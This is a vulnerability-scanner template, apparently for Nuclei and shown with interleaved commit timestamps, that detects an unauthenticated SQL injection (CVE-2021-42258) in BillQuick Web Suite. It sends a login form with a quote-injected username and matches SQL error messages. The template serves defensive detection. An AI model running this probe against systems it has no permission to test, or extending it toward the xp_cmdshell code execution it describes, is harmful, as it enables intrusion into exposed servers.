2021-10-26 08:26:22 +00:00
id : CVE-2021-42258
info :
2022-02-28 14:09:26 +00:00
name : BillQuick Web Suite SQL Injection
2021-10-26 08:26:22 +00:00
author : dwisiswant0
2021-10-29 10:29:18 +00:00
severity : critical
2023-04-12 10:55:48 +00:00
description : BQE BillQuick Web Suite 2018 through 2021 before 22.0.9.1 allows SQL injection for unauthenticated remote code execution. Successful exploitation can include the ability to execute arbitrary code as MSSQLSERVER$ via xp_cmdshell.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest security patches and updates provided by the vendor to fix the SQL Injection vulnerability in the BillQuick Web Suite.
2021-10-26 09:02:23 +00:00
reference :
- https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware
- https://nvd.nist.gov/vuln/detail/CVE-2021-42258
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Ostorlab/KEV
- https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
2021-10-29 10:29:18 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-10-29 10:29:18 +00:00
cve-id : CVE-2021-42258
cwe-id : CWE-89
2024-03-23 09:28:19 +00:00
epss-score : 0.9738
epss-percentile : 0.99901
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:bqe:billquick_web_suite:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : bqe
product : billquick_web_suite
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,sqli,billquick,kev,bqe
2021-10-26 08:26:22 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-10-26 08:26:22 +00:00
- raw :
- |
GET / HTTP/1.1
Host : {{Hostname}}
- |
POST / HTTP/1.1
Host : {{Hostname}}
Referer : {{BaseURL}}
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
2023-01-18 07:00:30 +00:00
__EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("{{VS}}")}}&__VIEWSTATEGENERATOR={{url_encode("{{VSG}}")}}&__EVENTVALIDATION={{url_encode("{{EV}}")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96
2021-10-26 08:26:22 +00:00
2023-07-11 19:49:27 +00:00
matchers :
- type : word
part : body
words :
- "System.Data.SqlClient.SqlException"
- "Incorrect syntax near"
- "_ACCOUNTLOCKED"
condition : and
2021-10-26 08:26:22 +00:00
extractors :
- type : xpath
name : VS
internal : true
xpath :
- "/html/body/form/div/input[@id='__VIEWSTATE']"
2023-07-11 19:49:27 +00:00
attribute : value
2021-10-26 08:26:22 +00:00
- type : xpath
name : VSG
internal : true
xpath :
- "/html/body/form/div/input[@id='__VIEWSTATEGENERATOR']"
2023-07-11 19:49:27 +00:00
attribute : value
2021-10-26 08:26:22 +00:00
- type : xpath
name : EV
internal : true
xpath :
- "/html/body/form/div/input[@id='__EVENTVALIDATION']"
2023-07-11 19:49:27 +00:00
attribute : value
2024-03-25 11:57:16 +00:00
# digest: 4b0a0048304602210096ac7613d8118a6e83fc200da64d198cab9837d8532d76dd435f8f6d394e1a81022100e38483a2a89a277b9d4f33ff80fb59c13e81b4610752b1e7fe0a74f6de84cc99:922c64590222798bb761d5b6d8e72950